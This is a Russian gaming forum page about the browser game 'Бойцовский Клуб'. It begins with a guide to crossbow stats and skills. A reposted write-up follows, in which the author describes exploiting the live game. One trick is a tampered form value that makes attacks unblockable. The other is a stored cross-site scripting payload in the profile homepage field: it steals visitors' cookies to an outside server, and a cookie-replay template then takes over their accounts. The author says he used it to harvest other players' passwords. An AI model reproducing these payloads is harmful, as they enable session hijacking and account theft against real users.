Настройки поиска (Страница 37 из 49)

Разберемся по порядку :

1. Как арбалеты критуют с 3 инты?

Ответ прост: мф крита дают шмотки. У меня с 25 инты щас 915 мф крита. Читерство, скажете вы? А я скажу, нет это норма, так как без критов арбалетчик и тысячи НР не набьет в бою, особенно если учитывать то, что их все боятся и размениваются с ним только под профилькой   и выжигают сразу.

2. Почему у арбалета такие мощные криты

Ответ точно так же прост. Взгляните на колчаны арбалетчиков. Там есть надпись "Отличные стрелы для арбалета. Мф. мощности дробящего урона (%) +75
Вот в этом и зарыта собака. Стрелы. А отличные стрелы, как известно, штука платная, притом недешевая. 50 крю за 100 штук, и, если учитывать, что на бой уходит минимум штук 20 стрел в лучшем случае, то 50 кр хватит на 5 боев. 10 кр на бой, нехило, да? Конечно, раньше мы платили за эли и стандартный обкаст, но фишка в том, что это было РАНЬШЕ. Сейчас на бои ничего, кроме времени, у других комплектов не тратится. А арбалетчик платит, и немало, больше даже чем прежде тратили игроки. Ведь все эли и свитки имели очень много зарядов, и их хватало уж явно больше чем на 5 боев. Если прокачан здоровый сон, то тем более. А попробуйте так каждый раз за бой платить. В нехилую копеечку это влетит. Можно, конечно, и покупать более дешевые стрелы, но тогда и не будет таких критов. Вот и все. Хочешь рулить - плати, таков негласный девиз Бойцовского Клуба. Для арбалетчиков он продолжает оставаться в силе.

3. Почему по арбалетчику такие слабые удары ?

Ответ: Арбалетчики тоже не лохи, и тоже защиты юзают. Есть у нас такие приемы, чем-то напоминающие маг барьер и силовое поле. Но они требуют ману. А маны у нас, ой как мало. Есть, конечно и хил-прием для маны, но восстанавливать 10 маны за 5 ходов.... Негусто. Да, можно взять да кинуть статы в мудру. Но тогда ты тем самым себя ослабляешь. Это как 50 духа раньше для бойца, либо бей сильнее, но живи меньше либо живи дольше но бей слабее. Так и у нас. И когда мана кончится, тыкнет уворот на 200 раза три, стукнет крит на несколько сотен, воткнет стрелу в глаз вражеский стрелок, выжгет маг. И пока, арбалетчик 

Приемы :

1. Арбалетные стрелы нельзя заблокировать, от них можно только увернуться

2. Если арбалетная стрела прилетела в блок, то урон просто уменьшится в двое и вам дадут тактику защиты.

3. В размене с арбалетчиком нельзя нанести контр удар.

4. Арбалетчик тоже не может нанести контр удар.

5. Арбалетчик может стрелять с другого игрока, но лишь раз в пять ходов, и при этом сначала должен постоять перед целью дистанционной атаки.

6. Арбалетчики используют только специфичные приемы, простые им не доступны.

7. Занять позицию от атаки/защиты   за 3 меча/щита уменьшает 3 следующих пропущенных физических удара в 2 раза.

8. Оглушающий выстрел -   за 3 меча оглушает противника на следующих   ход после размена с активированным приемом.

9. Точный выстрел   сначала арбалетчик пропускает ход, зато следующее попадание в 2 раза сильнее (не требует тактик, только манну)

10. Усиленный выстрел   за 3 меча значительно увеличивает мф дробящего урона на следующее попадание.

11. Раскрыть намеренье = разгадать тактику но требует 2 меча и 1 щит

12. Сосредоточенность   за 7 сердечек восстанавливает по 10 манны в течение пяти ходов

13. Стена поглощения   за 2 щита и 1 меч, создает поле которое поглощает урон. Поле спадает при совершение размена.

14. Найти укрытие   за 3 щита уменьшает следующий пропущенный удар в двое и усиливает антиуворот на ход после размена.

15. Рассекающие выстрелы   за 2 капельки и 1 меч, увеличивает мф Крит удара на 3 последующих размена.

16. Кровавый поток   за 3 капельки позволяет вылечиться частью урона нанесенного тремя следующими попаданиями.

17. Ускоренные рефлексы   за 3 меча увеличивают ловкость до получение физического урона. Каждый уворот добавляет стак ловкости. Максимальное количество стаков 5.

18. Выстрел в голову   за 3 капельки ранит вражеского мага на 3 хода. При каждом прочтении заклинания маг будет терять 10% хп.

19. Зеркальный щит   за 3 меча создает щит который отражает половину 3х следующих магических каста, в произвольного противника, выкачивая из него часть манны. Манна переходит арбалетчику.

20. Ослепляющий выстрел   за 3 меча ослепляет цель заставляя атаковать кого угодно в бою кроме себя, но уменьшает урон ослепленного в 2 раза.

Душным августовским вечером сидел я в офисе и размышлял о несправедливости жизни. Особенно сильно в тот вечер меня удручал факт того, что пиво рассеяно по всей планете, в то время как мое бренное тело способно одновременно находится лишь в одной точке в пространстве. В результате размышления я пришел к выводу, что с несправедливостью надо бороться в меру своих скромных сил и отправился совмещать географическое положение своего тела с ящичком холодных бутылочек пивка. Поскольку такое ответственное дело в одиночку не свершается, решил я заскочить к друганам и предложить им помочь мне в благородном начинании. Зайдя в кабинет корешей я был встречен воплем - "Добивай его !!!" и гомерическим хохотом . Через секунд 30 я (поняв, что добивать будут не меня и выйдя из боевой стойки ) обратил внимание на то, что приковало взоры моих собутыльников - странная, невзрачная, сероватая Online игрушка "Бойцовский клуб" (()), где как ни странно в тот момент Online висело под полторы тысяч человек. Зная мою любовь к нестандартным методам общения с такими проектами один из них произнес - "Ну че Mayhem, когда у нас Stats по 100 будет? " . И что мне оставалось ?

Баг 1

Зарегистрил чара и поехал. Как обычно начал я с просмотра Source для понимания принципов. Порывшись и не найдя ничего интересного в общем окне, магазине, и прочих местах решил я провести пробный бой. В самом окне боя привлекла меня форма посылки Удара и Блока.

<FORM action="battle.pl" method=POST>
<INPUT TYPE="radio" NAME="attack" value=1 onclick="setattack()">в голову
<INPUT TYPE="radio" NAME="attack" value=2 onclick="setattack()">в корпус
<INPUT TYPE="radio" NAME="attack" value=3 onclick="setattack()">в пояс
<INPUT TYPE="radio" NAME="attack" value=4 onclick="setattack()">по ногам

<NPUT TYPE="radio" NAME="defend" value=1 onclick="setdefend()">блок головы <INPUT TYPE="radio" NAME="defend" value=2 onclick="setdefend()">блок корпуса
<NPUT TYPE="radio" NAME="defend" value=3 onclick="setdefend()">блок пояса
<INPUT TYPE="radio" NAME="defend" value=4 onclick="setdefend()">блок головы
<INPUT TYPE="hidden" name="enemy" value=1>
<INPUT TYPE="submit" value="KICK ASS">
</FORM>

Создав у себя на компе файл с вышеописанным содержанием и поменяв ясное дело <FORM action="battle.pl" method=POST> на  <FORM action="http://www.combats.ru/battle.pl" method=POST> я приступил к экспериментам. Попытки послать в элементе "attack" символы, числа большие чем 4 и прочую лабуду успеха не принесли. Я уже было взгрустнул , но тут в голову пришла идея - а что если попробовать послать число в пределах 1-4 но с десятичной частью ? В итоге в форму добавилась строчка <INPUT TYPE="radio" NAME="attack" value=1.2 onclick="setattack()">по Заду.

После добавления я загрузил этот файл в параллельное окно броузера (все должно посылаться во время БОЯ !) и хорошенько ВРЕЗАЛ по этому самому Заду. Когда сервер сжевал информацию и прислал мне ответ, я с удивлением заметил , что сервер похоже не знает что такое "1.2" и ясное дело мой противник не сумел поставить блок на этот удар, в итоге я долбанул его на несколько HP. Последующие удары тоже проходили независимо от того, куда ставил блок мой оппонент. Осознав открывшиеся перспективы вся наша массовка дружно ринулась мочить мирное население сервера. (Единственное что надо учитывать - что в <INPUT TYPE="hidden" name="enemy" value=1> иногда бывает value=2 , тогда ничего вообще не происходит - надо менять эту переменную.)

Дойдя до 1 левела со счетом 23/3 (надо же и проигрывать для приличия), наверное от нехватки пивных дрожжей в организме я снова загрустил и решил еще покопаться в игрушке.

БАГ 2

После непродолжительного серфинга по сайту набрел я на листок смены информации о пользователе. По привычке сделав View Source я обнаружил интересную вещь, а если точнее - свой пароль в Hidden элементе, причем в Plain тексте.

<input TYPE=hidden name=psw value="zhopa">

Таак подумал я, это плюс...

Сохранив код этого файла у себя на компе как test.html и поменяв соответственно <form action="enter.pl" method=POST> на <form action="http://www.combats.ru/enter.pl" method=POST> я стал экспериментировать дальше.  Очень скоро я обнаружил , что в поле "Домашняя страница" несмотря на то, что сервер при получении формы убирал HTML теги, можно послать " и сервер не превращает его в &quot; Первое что я сделал - послал в форме такую строку " onMouseover="alert('test')", после чего мой Инфо чара получил следующий параметр:

Домашняя страница: "onMouseOver="alert('test')"

При наведении мышки на эту строчку выполнялась JavaScript команда Alert("test"); Следующий этап - узнать какого объема код можно вписать в это поле. Как оказалось поле <input NAME="homepage" > содержит ограничение maxlength=30, что было для чистоты эксперимента поменяно на 1200. Итак - <input NAME="homepage" maxlenght=1200 value=""> Загружаю test.html, набираю длиннющую строку на все 1200 символов, нажимаю SUBMIT, захожу в Инфо чара - а там она ВСЯ сохранена !!! Вот тут то я и понял что наткнулся на реальную вещь .

Первая задача вставшая передо мной - сделать код , который явно высвечивался на странице, невидимым - этого добился атрибутом style

" style=color:#e2e0e0; (e2e0e0) - цвет фона.

Дальше - надо чтобы мой скрипт выполнялся как только Юзер посмотрит мое ИНФО. Поскольку у объекта <A нет эвентов типа Onload или OnError, самым подходящим мне показался элемент OnMouseOver, но как добиться чтобы Юзер провел по этой строчке ? Не каждый же начинает водить мышкой по экрану как ненормальный. К тому же строка "WEB сайт" расположен в самом низу и шансы что Юзер проведет по ней невелики. Опять выручил аттрибут Style.

" style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;" - создает ПРОЗРАЧНЫЙ Layer вне пределов экрана, но строка height:700px;width:850px; расширяет область действия Event-а на все окно с Инфой о Player-e.

Что теперь с этим делать? Поскольку вся авторизация игры базируется на COOKIE, то конечно надо спереть Cookies. Делаем это строчкой - cookiea=document.cookie; Естественно надо как-то получить эту информацию к себе поближе. Здесь конечно вариантов масса, но я реализовал это через PHP и Mysql базу - т.е. все сворованные Cookie клались ко мне в базу. Сделано это так:

cookiea=document.cookie;test= open("http://www.test.lv/test.php?cookie="+cookiea,"", "width=1,height=1");window.test.close();

Т.е у человека, открывшего мое ИНФО и пошевелившего мышкой хоть на долю мгновения, открывается окно с файлом с МОЕГО сервера в которое передается Cookie этого пользователя и которое сохраняется в базу. В процессе тестирования возникла проблема: если Юзер вел мышкой, окно постоянно открывалось и закрывалось, что было слишком заметно. А поскольку в коде Эвента глобальных переменных не создать, я вышел из положения так:

if(window.document.body.name=="test")
{
}
else
{
window.document.body.name="test";
cookiea=document.cookie;
test= open("http://www.test.lv/test.php?cookie="+cookiea,"", "width=1,height=1");
window.test.close();
}

Итого - конечная строка записанная в мой Инфо в "Домашняя страница":

()" style="position:absolute;top:-200px; left:-100px;height:700px; width:850px; color:#e2e0e0;" OnMOuseover='javascript:if(window.document.body.name=="test") {}else{window.document.body.name="test"; cookiea=document.cookie; test=open("http://test.lv/test.php?cookie="+cookiea,"", "width=1,height=1"); window.test.close();}'

Далее. Приходит например Cookie :

battleid=pieiezimxxcemd; battle=AlTair; battlepsw=fczelie; ChatColor=Teal

Как его использовать ? Я пошел по пути наименьшего сопротивления и создал такой шаблон :

"onMOuseOver='javascript:document.cookie ="battle=AlTair"; document.cookie =" ChatColor=Teal"; document.cookie =" battleid= pieiezimxxcemd "; document.cookie =" battlepsw= fczelie ";'

То есть, как вы видите, эта строчка при наведении на нее мышкой присваивает вашему броузеру необходимые Cookie. Ее тоже надо вписать в ВАШЕ ИНФО вышеописанным методом и потом САМИМ посмотреть его и провести мышкой по этой строчке. Вуаля, вы стали AlTair-om . Но и это еще не все - надо же получить пароль! Вот тут-то и помогает та страничка, о которой я писал в начале - идете на () делаете View Source и все - пароль ваш.

По завершению кодинга я просто пошел в зал боев, подал заявку и стал собирать пароли В заключение оговорюсь, что сделано это не в корыстных целях обогащения в игре, я в нее все равно не играю, а чисто из спортивного интереса.

Автор: Mayhem

кто-то что придумывал ?
или ждем пока будет пещерный шмот ?

()